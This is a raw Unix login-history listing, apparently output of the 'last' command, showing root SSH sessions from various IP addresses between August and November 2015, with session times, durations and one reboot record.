root     pts/3        84.228.63.227    Thu Nov  5 05:40:49 2015 - Thu Nov  5 21:59:00 2015  (16:18)
root     pts/11       84.228.63.227    Wed Nov  4 17:11:24 2015 - Thu Nov  5 02:55:44 2015  (09:44)
root     pts/9        109.66.5.130     Tue Nov  3 15:30:15 2015 - Thu Nov  5 00:45:02 2015 (1+09:14)
root     pts/12       109.67.220.245   Mon Nov  2 20:14:07 2015 - Tue Nov  3 15:42:45 2015  (19:28)
root     pts/1        109.67.220.245   Sun Nov  1 19:40:37 2015 - Mon Nov  2 11:49:06 2015  (16:08)
root     pts/2        84.228.63.227    Sun Nov  1 18:09:34 2015 - Tue Nov  3 18:04:46 2015 (1+23:55)
root     pts/14       84.228.63.227    Sun Nov  1 14:01:28 2015 - Sun Nov  1 16:17:04 2015  (02:15)
root     pts/4        84.228.170.125   Sat Oct 31 23:56:50 2015 - Sun Nov  1 02:55:11 2015  (02:58)
root     pts/16       109.66.158.46    Sat Oct 31 16:20:43 2015 - Sun Nov  1 00:38:32 2015  (08:17)
root     pts/8        84.228.170.125   Sat Oct 31 15:09:04 2015 - Sat Oct 31 19:49:39 2015  (04:40)
root     pts/11       109.66.158.46    Fri Oct 30 21:18:39 2015 - Sat Oct 31 02:15:44 2015  (04:57)
root     pts/2        84.228.170.125   Fri Oct 30 00:13:24 2015 - Sat Oct 31 15:08:58 2015 (1+14:55)
root     pts/2        84.228.170.125   Fri Oct 30 00:12:57 2015 - Fri Oct 30 00:13:16 2015  (00:00)
root     pts/4        109.66.158.46    Thu Oct 29 20:17:27 2015 - Thu Oct 29 22:48:20 2015  (02:30)
root     pts/5        84.228.170.125   Thu Oct 29 10:25:48 2015 - Thu Oct 29 20:43:15 2015  (10:17)
root     pts/2        84.228.170.125   Wed Oct 28 22:25:14 2015 - Wed Oct 28 23:49:21 2015  (01:24)
root     pts/3        84.228.235.81    Wed Oct 28 21:05:52 2015 - Wed Oct 28 22:24:09 2015  (01:18)
root     pts/2        84.228.235.81    Wed Oct 28 20:56:26 2015 - Wed Oct 28 20:56:30 2015  (00:00)
root     pts/3        84.228.235.81    Wed Oct 28 20:09:53 2015 - Wed Oct 28 21:05:42 2015  (00:55)
root     pts/0        84.228.7.251     Wed Oct 28 19:42:19 2015 - Wed Oct 28 22:05:53 2015  (02:23)
root     pts/12       109.66.158.46    Wed Oct 28 13:53:13 2015 - Wed Oct 28 23:54:58 2015  (10:01)
root     pts/1        84.228.118.230   Wed Oct 28 13:51:33 2015 - Wed Oct 28 19:18:42 2015  (05:27)
root     pts/5        84.228.184.79    Wed Oct 28 13:30:38 2015 - Wed Oct 28 15:51:28 2015  (02:20)
root     pts/5        84.228.184.79    Wed Oct 28 13:13:32 2015 - Wed Oct 28 13:30:31 2015  (00:16)
root     pts/6        77.127.6.71      Wed Oct 28 13:00:27 2015 - Wed Oct 28 15:18:48 2015  (02:18)
root     pts/5        84.228.215.110   Wed Oct 28 03:04:21 2015 - Wed Oct 28 05:32:35 2015  (02:28)
root     pts/1        84.228.215.110   Tue Oct 27 23:21:15 2015 - Wed Oct 28 02:24:47 2015  (03:03)
root     pts/1        84.228.241.190   Tue Oct 27 19:57:15 2015 - Tue Oct 27 23:20:16 2015  (03:23)
root     pts/7        109.66.158.46    Tue Oct 27 19:51:20 2015 - Tue Oct 27 23:51:16 2015  (03:59)
root     pts/6        84.228.241.190   Tue Oct 27 19:36:23 2015 - Tue Oct 27 19:57:12 2015  (00:20)
root     pts/7        84.228.241.190   Tue Oct 27 17:55:03 2015 - Tue Oct 27 19:36:21 2015  (01:41)
root     pts/7        84.228.241.190   Tue Oct 27 17:54:16 2015 - Tue Oct 27 17:55:00 2015  (00:00)
root     pts/6        84.228.241.190   Tue Oct 27 14:18:38 2015 - Tue Oct 27 14:23:17 2015  (00:04)
root     pts/8        84.228.241.190   Tue Oct 27 13:49:13 2015 - Tue Oct 27 15:57:20 2015  (02:08)
root     pts/6        84.228.241.190   Tue Oct 27 00:43:43 2015 - Tue Oct 27 13:33:04 2015  (12:49)
root     pts/6        109.66.158.46    Mon Oct 26 13:17:28 2015 - Tue Oct 27 00:01:53 2015  (10:44)
root     pts/3        109.66.158.46    Sun Oct 25 20:02:24 2015 - Sun Oct 25 23:49:36 2015  (03:47)
root     pts/13       109.66.158.46    Sun Oct 25 14:50:06 2015 - Sun Oct 25 15:23:38 2015  (00:33)
root     pts/5        79.183.98.65     Sun Oct 25 11:33:42 2015 - Sun Oct 25 12:52:35 2015  (01:18)
root     pts/9        79.178.204.240   Sat Oct 24 17:19:35 2015 - Sun Oct 25 09:35:59 2015  (17:16)
root     pts/5        79.178.204.240   Sat Oct 24 15:58:18 2015 - Sat Oct 24 16:47:06 2015  (00:48)
root     pts/7        84.228.18.152    Sat Oct 24 12:46:11 2015 - Sun Oct 25 09:43:30 2015  (21:57)
root     pts/5        84.228.18.152    Sat Oct 24 03:26:52 2015 - Sat Oct 24 03:27:16 2015  (00:00)
root     pts/5        84.228.18.152    Sat Oct 24 03:15:05 2015 - Sat Oct 24 03:26:15 2015  (00:11)
root     pts/8        84.228.214.46    Sat Oct 24 02:45:20 2015 - Sat Oct 24 03:22:42 2015  (00:37)
root     pts/4        84.228.214.46    Sat Oct 24 01:24:02 2015 - Sat Oct 24 01:35:49 2015  (00:11)
root     pts/5        84.228.214.46    Fri Oct 23 22:02:48 2015 - Fri Oct 23 22:04:22 2015  (00:01)
root     pts/4        84.228.214.46    Fri Oct 23 22:02:06 2015 - Fri Oct 23 22:04:25 2015  (00:02)
root     pts/8        84.228.214.46    Fri Oct 23 21:58:25 2015 - Fri Oct 23 21:58:49 2015  (00:00)
root     pts/1        79.178.204.240   Fri Oct 23 21:25:01 2015 - Sat Oct 24 14:54:12 2015  (17:29)
root     pts/12       84.228.214.46    Fri Oct 23 15:18:36 2015 - Sat Oct 24 01:51:24 2015  (10:32)
root     pts/7        79.178.204.240   Fri Oct 23 13:01:19 2015 - Fri Oct 23 21:24:57 2015  (08:23)
root     pts/7        84.228.214.46    Fri Oct 23 12:35:20 2015 - Fri Oct 23 12:53:21 2015  (00:18)
root     pts/8        79.178.204.240   Fri Oct 23 12:13:10 2015 - Fri Oct 23 13:01:00 2015  (00:47)
root     pts/4        2.52.19.80       Fri Oct 23 09:34:59 2015 - Fri Oct 23 09:54:07 2015  (00:19)
root     pts/2        84.228.214.46    Fri Oct 23 08:25:51 2015 - Fri Oct 23 15:33:44 2015  (07:07)
root     pts/4        109.65.48.25     Thu Oct 22 20:05:21 2015 - Thu Oct 22 20:10:41 2015  (00:05)
root     pts/9        109.65.48.25     Thu Oct 22 15:01:16 2015 - Thu Oct 22 19:16:53 2015  (04:15)
root     pts/8        84.228.214.46    Thu Oct 22 11:46:22 2015 - Thu Oct 22 11:48:31 2015  (00:02)
root     pts/5        84.228.214.46    Thu Oct 22 07:53:36 2015 - Thu Oct 22 23:43:36 2015  (15:50)
root     pts/8        77.127.191.25    Wed Oct 21 09:14:22 2015 - Wed Oct 21 20:00:52 2015  (10:46)
root     pts/4        77.127.191.25    Tue Oct 20 23:24:25 2015 - Wed Oct 21 06:13:39 2015  (06:49)
root     pts/1        109.65.48.25     Tue Oct 20 17:29:15 2015 - Tue Oct 20 17:29:29 2015  (00:00)
root     pts/11       77.127.191.25    Tue Oct 20 11:50:12 2015 - Tue Oct 20 11:58:37 2015  (00:08)
root     pts/4        77.127.191.25    Tue Oct 20 06:49:02 2015 - Tue Oct 20 11:12:37 2015  (04:23)
root     pts/4        77.127.191.25    Tue Oct 20 06:42:58 2015 - Tue Oct 20 06:44:24 2015  (00:01)
root     pts/3        77.127.191.25    Tue Oct 20 03:55:24 2015 - Tue Oct 20 23:19:26 2015  (19:24)
root     pts/3        77.127.191.25    Tue Oct 20 01:49:47 2015 - Tue Oct 20 03:55:20 2015  (02:05)
root     pts/14       109.65.48.25     Mon Oct 19 19:18:40 2015 - Tue Oct 20 19:55:35 2015 (1+00:36)
root     pts/3        77.127.191.25    Mon Oct 19 09:00:17 2015 - Tue Oct 20 01:49:17 2015  (16:49)
root     pts/5        109.65.48.25     Mon Oct 19 01:44:22 2015 - Mon Oct 19 05:31:29 2015  (03:47)
root     pts/5        109.65.48.25     Sun Oct 18 19:07:41 2015 - Sun Oct 18 19:49:00 2015  (00:41)
root     pts/2        2.52.164.119     Sun Oct 18 13:57:31 2015 - Sun Oct 18 14:01:09 2015  (00:03)
root     pts/3        109.66.193.113   Sun Oct 18 13:29:15 2015 - Sun Oct 18 17:24:14 2015  (03:54)
root     pts/6        2.52.165.198     Sun Oct 18 09:59:06 2015 - Sun Oct 18 10:29:28 2015  (00:30)
root     pts/6        2.52.165.198     Sun Oct 18 09:58:59 2015 - Sun Oct 18 09:59:00 2015  (00:00)
root     pts/8        2.52.165.152     Sun Oct 18 09:28:10 2015 - Sun Oct 18 09:57:05 2015  (00:28)
root     pts/1        109.64.148.11    Sun Oct 18 00:39:28 2015 - Sun Oct 18 00:42:50 2015  (00:03)
root     pts/3        109.64.148.11    Sat Oct 17 22:00:08 2015 - Sat Oct 17 22:00:44 2015  (00:00)
root     pts/4        37.142.138.47    Sat Oct 17 17:32:05 2015 - Sun Oct 18 12:26:31 2015  (18:54)
root     pts/7        37.142.138.47    Sat Oct 17 17:31:39 2015 - Sat Oct 17 17:32:02 2015  (00:00)
root     pts/9        77.127.191.25    Sat Oct 17 08:30:09 2015 - Sun Oct 18 20:06:13 2015 (1+11:36)
root     pts/5        77.127.191.25    Sat Oct 17 05:49:14 2015 - Sat Oct 17 08:41:41 2015  (02:52)
root     pts/2        77.127.191.25    Sat Oct 17 02:06:55 2015 - Sat Oct 17 04:19:31 2015  (02:12)
root     pts/4        109.64.148.11    Fri Oct 16 22:54:35 2015 - Fri Oct 16 23:54:52 2015  (01:00)
root     pts/2        77.127.191.25    Fri Oct 16 21:55:23 2015 - Sat Oct 17 02:06:45 2015  (04:11)
root     pts/4        77.127.191.25    Fri Oct 16 04:31:00 2015 - Fri Oct 16 21:37:48 2015  (17:06)
root     pts/4        109.64.148.11    Thu Oct 15 23:01:39 2015 - Fri Oct 16 00:08:11 2015  (01:06)
root     pts/1        84.228.109.71    Thu Oct 15 20:06:07 2015 - Fri Oct 16 04:07:03 2015  (08:00)
root     pts/1        84.228.109.71    Thu Oct 15 20:02:23 2015 - Thu Oct 15 20:06:05 2015  (00:03)
root     pts/11       109.64.148.11    Thu Oct 15 19:59:36 2015 - Thu Oct 15 21:39:56 2015  (01:40)
root     pts/7        109.64.148.11    Thu Oct 15 14:40:26 2015 - Thu Oct 15 17:05:58 2015  (02:25)
root     pts/9        84.228.109.103   Thu Oct 15 08:02:40 2015 - Thu Oct 15 08:53:45 2015  (00:51)
root     pts/4        84.228.109.103   Thu Oct 15 07:38:51 2015 - Thu Oct 15 07:56:24 2015  (00:17)
root     pts/9        84.228.109.103   Thu Oct 15 06:09:28 2015 - Thu Oct 15 06:55:05 2015  (00:45)
root     pts/4        84.228.109.103   Thu Oct 15 04:04:43 2015 - Thu Oct 15 04:53:18 2015  (00:48)
root     pts/5        109.64.148.11    Thu Oct 15 00:31:39 2015 - Thu Oct 15 00:33:51 2015  (00:02)
root     pts/4        84.228.109.103   Thu Oct 15 00:16:47 2015 - Thu Oct 15 00:52:50 2015  (00:36)
root     pts/2        84.228.109.103   Wed Oct 14 22:32:41 2015 - Wed Oct 14 22:52:35 2015  (00:19)
root     pts/14       109.64.148.11    Wed Oct 14 16:58:58 2015 - Wed Oct 14 22:32:00 2015  (05:33)
root     pts/10       84.228.109.103   Wed Oct 14 16:53:12 2015 - Wed Oct 14 17:52:01 2015  (00:58)
root     pts/0        84.228.109.103   Wed Oct 14 04:24:17 2015 - Wed Oct 14 07:18:31 2015  (02:54)
root     pts/1        84.228.109.103   Wed Oct 14 02:17:23 2015 - Wed Oct 14 02:17:23 2015  (00:00)
root     pts/8        109.64.148.11    Tue Oct 13 16:59:29 2015 - Wed Oct 14 13:49:17 2015  (20:49)
root     pts/0        84.228.109.103   Tue Oct 13 14:35:25 2015 - Wed Oct 14 04:24:16 2015  (13:48)
root     pts/0        84.228.109.103   Mon Oct 12 23:06:53 2015 - Tue Oct 13 14:35:20 2015  (15:28)
root     pts/8        84.228.109.103   Mon Oct 12 23:03:05 2015 - Mon Oct 12 23:06:46 2015  (00:03)
root     pts/6        109.64.148.11    Mon Oct 12 18:31:03 2015 - Tue Oct 13 15:07:53 2015  (20:36)
root     pts/4        84.228.109.103   Sun Oct 11 16:46:09 2015 - Mon Oct 12 13:55:22 2015  (21:09)
root     pts/8        79.177.169.179   Sun Oct 11 13:06:32 2015 - Mon Oct 12 08:40:05 2015  (19:33)
root     pts/4        84.228.109.103   Sat Oct 10 22:45:32 2015 - Sun Oct 11 16:46:03 2015  (18:00)
root     pts/7        84.228.109.103   Sat Oct 10 17:42:43 2015 - Sat Oct 10 21:40:00 2015  (03:57)
root     pts/1        79.177.169.179   Fri Oct  9 22:25:20 2015 - Sun Oct 11 00:16:29 2015 (1+01:51)
root     pts/12       79.177.169.179   Fri Oct  9 19:39:45 2015 - Fri Oct  9 22:18:17 2015  (02:38)
root     pts/5        84.228.31.221    Fri Oct  9 19:34:05 2015 - Sat Oct 10 10:41:05 2015  (15:07)
root     pts/2        84.228.31.221    Fri Oct  9 18:58:51 2015 - Fri Oct  9 19:49:26 2015  (00:50)
root     pts/0        84.228.31.221    Fri Oct  9 11:56:10 2015 - Fri Oct  9 19:14:08 2015  (07:17)
root     pts/5        84.228.31.221    Fri Oct  9 11:51:42 2015 - Fri Oct  9 11:56:00 2015  (00:04)
root     pts/5        84.228.31.221    Thu Oct  8 11:48:37 2015 - Fri Oct  9 11:51:30 2015 (1+00:02)
root     pts/4        79.177.169.179   Wed Oct  7 16:36:53 2015 - Wed Oct  7 23:25:04 2015  (06:48)
root     pts/3        79.177.169.179   Wed Oct  7 01:30:57 2015 - Wed Oct  7 11:09:53 2015  (09:38)
root     pts/4        79.177.169.179   Tue Oct  6 21:20:10 2015 - Wed Oct  7 01:20:36 2015  (04:00)
root     pts/14       84.228.31.221    Tue Oct  6 15:22:08 2015 - Thu Oct  8 04:36:15 2015 (1+13:14)
root     pts/1        82.44.186.237    Tue Oct  6 01:07:48 2015 - Tue Oct  6 01:33:15 2015  (00:25)
root     pts/1        2.54.167.98      Tue Oct  6 00:15:48 2015 - Tue Oct  6 00:44:37 2015  (00:28)
root     pts/0        82.44.186.237    Mon Oct  5 02:05:58 2015 - Mon Oct  5 04:24:15 2015  (02:18)
root     pts/0        82.44.186.237    Sun Oct  4 21:46:23 2015 - Mon Oct  5 00:03:56 2015  (02:17)
root     pts/3        84.228.31.221    Sun Oct  4 16:39:51 2015 - Tue Oct  6 09:47:30 2015 (1+17:07)
root     pts/5        82.44.186.237    Sun Oct  4 01:38:25 2015 - Sun Oct  4 02:20:21 2015  (00:41)
root     pts/2        2.54.55.24       Sat Oct  3 22:23:51 2015 - Sat Oct  3 22:24:10 2015  (00:00)
root     pts/9        2.54.21.164      Sat Oct  3 19:46:28 2015 - Sat Oct  3 19:46:41 2015  (00:00)
root     pts/10       82.44.186.234    Sat Oct  3 18:26:23 2015 - Sat Oct  3 18:50:23 2015  (00:24)
root     pts/3        84.228.31.221    Sat Oct  3 15:11:21 2015 - Sun Oct  4 16:39:41 2015 (1+01:28)
root     pts/4        84.228.31.221    Sat Oct  3 13:06:20 2015 - Sat Oct  3 15:11:20 2015  (02:05)
root     pts/0        84.228.31.221    Sat Oct  3 04:05:29 2015 - Sat Oct  3 13:55:09 2015  (09:49)
root     pts/9        84.228.31.221    Fri Oct  2 07:54:00 2015 - Fri Oct  2 09:01:26 2015  (01:07)
root     pts/4        2.54.63.193      Thu Oct  1 19:53:11 2015 - Thu Oct  1 20:17:01 2015  (00:23)
root     pts/5        2.54.132.95      Thu Oct  1 19:37:07 2015 - Thu Oct  1 20:03:08 2015  (00:26)
root     pts/3        84.228.31.221    Thu Oct  1 10:41:43 2015 - Fri Oct  2 06:49:33 2015  (20:07)
root     pts/3        84.228.31.221    Thu Oct  1 04:03:27 2015 - Thu Oct  1 10:41:32 2015  (06:38)
root     pts/3        82.44.186.237    Thu Oct  1 00:46:55 2015 - Thu Oct  1 00:47:15 2015  (00:00)
root     pts/9        84.228.31.221    Wed Sep 30 16:51:58 2015 - Wed Sep 30 19:32:47 2015  (02:40)
root     pts/5        79.177.169.179   Wed Sep 30 00:21:06 2015 - Wed Sep 30 10:41:20 2015  (10:20)
root     pts/12       79.177.169.179   Tue Sep 29 21:54:14 2015 - Tue Sep 29 22:05:02 2015  (00:10)
root     pts/4        79.177.169.179   Tue Sep 29 10:13:29 2015 - Tue Sep 29 21:19:51 2015  (11:06)
root     pts/5        79.177.169.179   Mon Sep 28 21:20:00 2015 - Mon Sep 28 21:20:29 2015  (00:00)
root     pts/4        79.177.169.179   Mon Sep 28 21:11:36 2015 - Tue Sep 29 02:33:58 2015  (05:22)
root     pts/7        79.177.169.179   Mon Sep 28 20:30:31 2015 - Mon Sep 28 20:51:57 2015  (00:21)
root     pts/10       84.228.31.221    Mon Sep 28 18:55:06 2015 - Wed Sep 30 13:17:51 2015 (1+18:22)
root     pts/0        79.177.169.179   Mon Sep 28 12:23:51 2015 - Mon Sep 28 20:09:16 2015  (07:45)
root     pts/6        84.228.31.221    Mon Sep 28 06:51:11 2015 - Mon Sep 28 12:38:08 2015  (05:46)
root     pts/8        84.228.31.221    Mon Sep 28 01:00:03 2015 - Mon Sep 28 06:51:10 2015  (05:51)
root     pts/2        79.177.169.179   Mon Sep 28 00:42:45 2015 - Mon Sep 28 08:05:01 2015  (07:22)
root     pts/3        79.177.169.179   Sat Sep 26 18:27:43 2015 - Sat Sep 26 21:09:33 2015  (02:41)
root     pts/0        84.228.31.221    Fri Sep 25 22:54:33 2015 - Sat Sep 26 13:39:32 2015  (14:44)
root     pts/1        79.177.169.179   Fri Sep 25 19:16:18 2015 - Fri Sep 25 20:10:39 2015  (00:54)
root     pts/11       79.177.169.179   Fri Sep 25 19:03:12 2015 - Fri Sep 25 19:13:14 2015  (00:10)
root     pts/3        79.177.169.179   Fri Sep 25 15:06:00 2015 - Fri Sep 25 15:36:18 2015  (00:30)
root     pts/3        79.177.169.179   Fri Sep 25 12:35:32 2015 - Fri Sep 25 14:00:24 2015  (01:24)
root     pts/1        79.177.169.179   Thu Sep 24 22:31:18 2015 - Fri Sep 25 07:25:36 2015  (08:54)
root     pts/17       84.228.31.221    Thu Sep 24 18:05:22 2015 - Thu Sep 24 20:17:29 2015  (02:12)
root     pts/8        79.177.59.38     Thu Sep 24 14:16:07 2015 - Thu Sep 24 18:38:47 2015  (04:22)
root     pts/5        79.177.59.38     Wed Sep 23 21:46:00 2015 - Thu Sep 24 00:52:34 2015  (03:06)
root     pts/14       79.177.59.38     Wed Sep 23 20:26:24 2015 - Wed Sep 23 20:28:49 2015  (00:02)
root     pts/6        79.177.59.38     Tue Sep 22 12:18:12 2015 - Tue Sep 22 14:19:59 2015  (02:01)
root     pts/6        79.177.59.38     Tue Sep 22 01:23:18 2015 - Tue Sep 22 11:40:19 2015  (10:17)
root     pts/1        79.177.59.38     Mon Sep 21 23:10:41 2015 - Tue Sep 22 00:33:01 2015  (01:22)
root     pts/1        79.177.59.38     Mon Sep 21 20:58:05 2015 - Mon Sep 21 22:58:24 2015  (02:00)
root     pts/0        84.228.179.42    Mon Sep 21 20:44:02 2015 - Tue Sep 22 05:32:24 2015  (08:48)
root     pts/0        79.177.59.38     Mon Sep 21 15:53:44 2015 - Mon Sep 21 20:03:07 2015  (04:09)
root     pts/1        79.177.59.38     Sun Sep 20 17:33:46 2015 - Sun Sep 20 22:21:08 2015  (04:47)
root     pts/5        79.177.59.38     Sat Sep 19 15:30:14 2015 - Sat Sep 19 22:50:34 2015  (07:20)
root     pts/5        79.177.59.38     Fri Sep 18 20:12:38 2015 - Fri Sep 18 20:24:02 2015  (00:11)
root     pts/9        79.177.17.149    Fri Sep 18 19:41:46 2015 - Fri Sep 18 20:09:32 2015  (00:27)
root     pts/0        84.228.179.42    Fri Sep 18 15:01:15 2015 - Mon Sep 21 00:24:13 2015 (2+09:22)
root     pts/4        84.228.179.42    Fri Sep 18 14:51:15 2015 - Fri Sep 18 15:01:13 2015  (00:09)
root     pts/3        79.177.17.149    Thu Sep 17 21:33:08 2015 - Fri Sep 18 12:53:18 2015  (15:20)
root     pts/1        79.177.17.149    Wed Sep 16 22:37:44 2015 - Wed Sep 16 23:06:05 2015  (00:28)
root     pts/1        79.177.17.149    Wed Sep 16 19:48:33 2015 - Wed Sep 16 22:37:40 2015  (02:49)
root     pts/6        84.228.179.42    Wed Sep 16 14:49:58 2015 - Fri Sep 18 10:07:39 2015 (1+19:17)
root     pts/4        2.52.9.196       Wed Sep 16 10:38:49 2015 - Wed Sep 16 12:59:32 2015  (02:20)
root     pts/5        79.177.17.149    Tue Sep 15 20:59:39 2015 - Tue Sep 15 21:23:37 2015  (00:23)
root     pts/5        79.177.17.149    Tue Sep 15 20:59:17 2015 - Tue Sep 15 20:59:32 2015  (00:00)
root     pts/4        79.177.17.149    Tue Sep 15 20:48:56 2015 - Tue Sep 15 23:08:45 2015  (02:19)
root     pts/4        79.177.17.149    Tue Sep 15 20:46:19 2015 - Tue Sep 15 20:48:52 2015  (00:02)
root     pts/2        79.177.17.149    Tue Sep 15 17:47:47 2015 - Tue Sep 15 18:11:50 2015  (00:24)
root     pts/12       79.177.17.149    Tue Sep 15 15:41:13 2015 - Tue Sep 15 16:48:45 2015  (01:07)
root     pts/10       79.177.17.149    Tue Sep 15 05:36:14 2015 - Tue Sep 15 05:38:04 2015  (00:01)
root     pts/1        79.177.17.149    Tue Sep 15 02:08:14 2015 - Tue Sep 15 03:04:45 2015  (00:56)
root     pts/3        79.177.17.149    Tue Sep 15 01:34:55 2015 - Tue Sep 15 01:47:25 2015  (00:12)
root     pts/7        84.228.179.16    Mon Sep 14 15:53:32 2015 - Wed Sep 16 08:34:44 2015 (1+16:41)
root     pts/8        79.177.17.149    Mon Sep 14 14:37:22 2015 - Mon Sep 14 17:09:43 2015  (02:32)
root     pts/2        79.177.17.149    Mon Sep 14 04:40:03 2015 - Mon Sep 14 07:10:34 2015  (02:30)
root     pts/6        79.177.17.149    Mon Sep 14 02:25:44 2015 - Mon Sep 14 02:25:55 2015  (00:00)
root     pts/7        79.177.17.149    Mon Sep 14 00:25:27 2015 - Mon Sep 14 01:55:22 2015  (01:29)
root     pts/13       84.228.179.16    Sun Sep 13 18:13:35 2015 - Mon Sep 14 15:53:17 2015  (21:39)
root     pts/15       79.177.17.149    Sun Sep 13 17:00:31 2015 - Sun Sep 13 17:55:00 2015  (00:54)
root     pts/1        109.66.153.199   Sun Sep 13 02:23:32 2015 - Sun Sep 13 02:24:50 2015  (00:01)
root     pts/3        109.66.153.199   Sat Sep 12 22:38:22 2015 - Sun Sep 13 01:03:45 2015  (02:25)
root     pts/1        109.64.108.207   Sat Sep 12 10:23:19 2015 - Sat Sep 12 22:23:55 2015  (12:00)
root     pts/13       109.64.108.207   Sat Sep 12 09:45:01 2015 - Sat Sep 12 09:45:17 2015  (00:00)
root     pts/3        109.64.108.207   Fri Sep 11 22:49:47 2015 - Fri Sep 11 23:30:04 2015  (00:40)
root     pts/15       109.64.108.207   Fri Sep 11 17:58:56 2015 - Fri Sep 11 19:30:00 2015  (01:31)
root     pts/0        84.228.179.16    Fri Sep 11 12:25:14 2015 - Fri Sep 11 22:23:58 2015  (09:58)
root     pts/4        84.228.179.16    Fri Sep 11 12:18:00 2015 - Fri Sep 11 12:25:09 2015  (00:07)
root     pts/4        109.64.108.207   Thu Sep 10 23:12:41 2015 - Thu Sep 10 23:15:29 2015  (00:02)
root     pts/5        84.228.179.16    Thu Sep 10 21:01:23 2015 - Fri Sep 11 12:16:19 2015  (15:14)
root     pts/2        84.228.179.16    Tue Sep  8 17:50:01 2015 - Wed Sep  9 10:39:33 2015  (16:49)
root     pts/11       109.64.108.207   Tue Sep  8 17:48:26 2015 - Tue Sep  8 20:34:56 2015  (02:46)
root     pts/8        109.64.108.207   Mon Sep  7 20:32:32 2015 - Tue Sep  8 00:05:59 2015  (03:33)
root     pts/6        109.64.108.207   Mon Sep  7 19:28:56 2015 - Mon Sep  7 20:18:42 2015  (00:49)
root     pts/8        109.64.108.207   Mon Sep  7 17:45:27 2015 - Mon Sep  7 18:34:51 2015  (00:49)
root     pts/2        84.228.179.16    Mon Sep  7 15:17:41 2015 - Tue Sep  8 17:49:28 2015 (1+02:31)
root     pts/4        109.64.108.207   Mon Sep  7 08:35:18 2015 - Mon Sep  7 12:45:32 2015  (04:10)
root     pts/3        109.64.108.207   Mon Sep  7 03:59:11 2015 - Mon Sep  7 04:40:46 2015  (00:41)
root     pts/2        84.228.179.16    Sun Sep  6 17:27:50 2015 - Mon Sep  7 15:17:09 2015  (21:49)
root     pts/14       109.64.108.207   Sun Sep  6 17:24:30 2015 - Sun Sep  6 17:24:38 2015  (00:00)
root     pts/8        109.64.108.207   Sun Sep  6 15:22:31 2015 - Sun Sep  6 16:23:31 2015  (01:01)
root     pts/0        109.64.108.207   Sun Sep  6 07:28:57 2015 - Sun Sep  6 07:58:16 2015  (00:29)
root     pts/3        109.64.108.207   Sat Sep  5 17:46:39 2015 - Sat Sep  5 19:01:47 2015  (01:15)
root     pts/13       109.64.21.32     Sat Sep  5 16:36:49 2015 - Sat Sep  5 17:46:32 2015  (01:09)
root     pts/4        109.64.21.32     Sat Sep  5 16:05:36 2015 - Sat Sep  5 16:25:15 2015  (00:19)
root     pts/0        109.64.21.32     Sat Sep  5 14:05:12 2015 - Sat Sep  5 14:26:43 2015  (00:21)
root     pts/7        109.64.21.32     Sat Sep  5 10:49:47 2015 - Sat Sep  5 10:57:52 2015  (00:08)
root     pts/0        109.64.21.32     Fri Sep  4 23:25:23 2015 - Sat Sep  5 00:11:30 2015  (00:46)
root     pts/0        109.64.21.32     Fri Sep  4 23:20:45 2015 - Fri Sep  4 23:25:20 2015  (00:04)
root     pts/0        109.64.21.32     Fri Sep  4 23:20:15 2015 - Fri Sep  4 23:20:41 2015  (00:00)
root     pts/0        109.64.21.32     Fri Sep  4 23:11:08 2015 - Fri Sep  4 23:20:11 2015  (00:09)
root     pts/0        86.126.97.93     Fri Sep  4 22:50:28 2015 - Fri Sep  4 22:50:47 2015  (00:00)
root     tty1         0.0.0.0          Fri Sep  4 22:48:57 2015 - crash                    (104+23:44)
reboot   system boot  0.0.0.0          Fri Sep  4 22:48:03 2015 - Tue Jun 28 23:09:41 2016 (298+00:21)
root     pts/17       84.228.179.16    Fri Sep  4 16:00:31 2015 - Fri Sep  4 18:19:10 2015  (02:18)
root     pts/14       109.64.21.32     Fri Sep  4 15:26:28 2015 - Fri Sep  4 18:44:50 2015  (03:18)
root     pts/5        109.64.21.32     Fri Sep  4 00:26:47 2015 - Fri Sep  4 00:49:54 2015  (00:23)
root     pts/16       109.64.21.32     Thu Sep  3 17:32:26 2015 - Thu Sep  3 20:08:27 2015  (02:36)
root     pts/10       109.64.21.32     Wed Sep  2 17:52:45 2015 - Wed Sep  2 17:56:15 2015  (00:03)
root     pts/5        109.64.21.32     Wed Sep  2 17:22:20 2015 - Wed Sep  2 17:22:20 2015  (00:00)
root     pts/11       109.64.21.32     Wed Sep  2 13:43:52 2015 - Wed Sep  2 13:43:59 2015  (00:00)
root     pts/9        84.228.179.16    Tue Sep  1 22:21:57 2015 - Wed Sep  2 11:09:10 2015  (12:47)
root     pts/4        109.64.21.32     Tue Sep  1 14:46:16 2015 - Tue Sep  1 14:58:11 2015  (00:11)
root     pts/14       109.64.21.32     Tue Sep  1 14:08:39 2015 - Tue Sep  1 14:31:48 2015  (00:23)
root     pts/1        84.228.179.16    Tue Sep  1 06:26:55 2015 - Tue Sep  1 18:57:31 2015  (12:30)
root     pts/7        84.228.179.16    Tue Sep  1 06:20:08 2015 - Tue Sep  1 06:26:54 2015  (00:06)
root     pts/4        84.228.179.16    Tue Sep  1 03:29:37 2015 - Tue Sep  1 05:44:14 2015  (02:14)
root     pts/24       109.64.21.32     Mon Aug 31 15:42:53 2015 - Mon Aug 31 19:02:29 2015  (03:19)
root     pts/10       109.64.21.32     Sun Aug 30 19:40:51 2015 - Sun Aug 30 22:24:56 2015  (02:44)
root     pts/9        109.64.21.32     Sat Aug 29 16:09:05 2015 - Sat Aug 29 18:10:21 2015  (02:01)
root     pts/9        109.64.21.32     Sat Aug 29 15:54:30 2015 - Sat Aug 29 15:56:10 2015  (00:01)
root     pts/15       109.64.21.32     Sat Aug 29 14:58:17 2015 - Sat Aug 29 17:56:07 2015  (02:57)
root     pts/13       109.64.21.32     Fri Aug 28 17:00:44 2015 - Fri Aug 28 19:22:26 2015  (02:21)
root     pts/11       109.64.21.32     Tue Aug 25 22:11:12 2015 - Tue Aug 25 22:31:16 2015  (00:20)
root     pts/5        109.64.21.32     Tue Aug 25 20:18:36 2015 - Tue Aug 25 21:48:38 2015  (01:30)
root     pts/5        109.64.21.32     Tue Aug 25 15:56:10 2015 - Tue Aug 25 18:21:34 2015  (02:25)
root     pts/3        109.64.21.32     Mon Aug 24 21:24:38 2015 - Tue Aug 25 00:39:28 2015  (03:14)
root     pts/3        109.64.21.32     Mon Aug 24 19:23:28 2015 - Mon Aug 24 21:09:40 2015  (01:46)
root     pts/7        109.64.21.32     Mon Aug 24 12:10:29 2015 - Mon Aug 24 12:20:46 2015  (00:10)
root     pts/6        109.64.21.32     Mon Aug 24 11:25:51 2015 - Mon Aug 24 11:33:18 2015  (00:07)
root     pts/3        109.64.103.73    Sun Aug 23 19:58:06 2015 - Sun Aug 23 20:39:48 2015  (00:41)
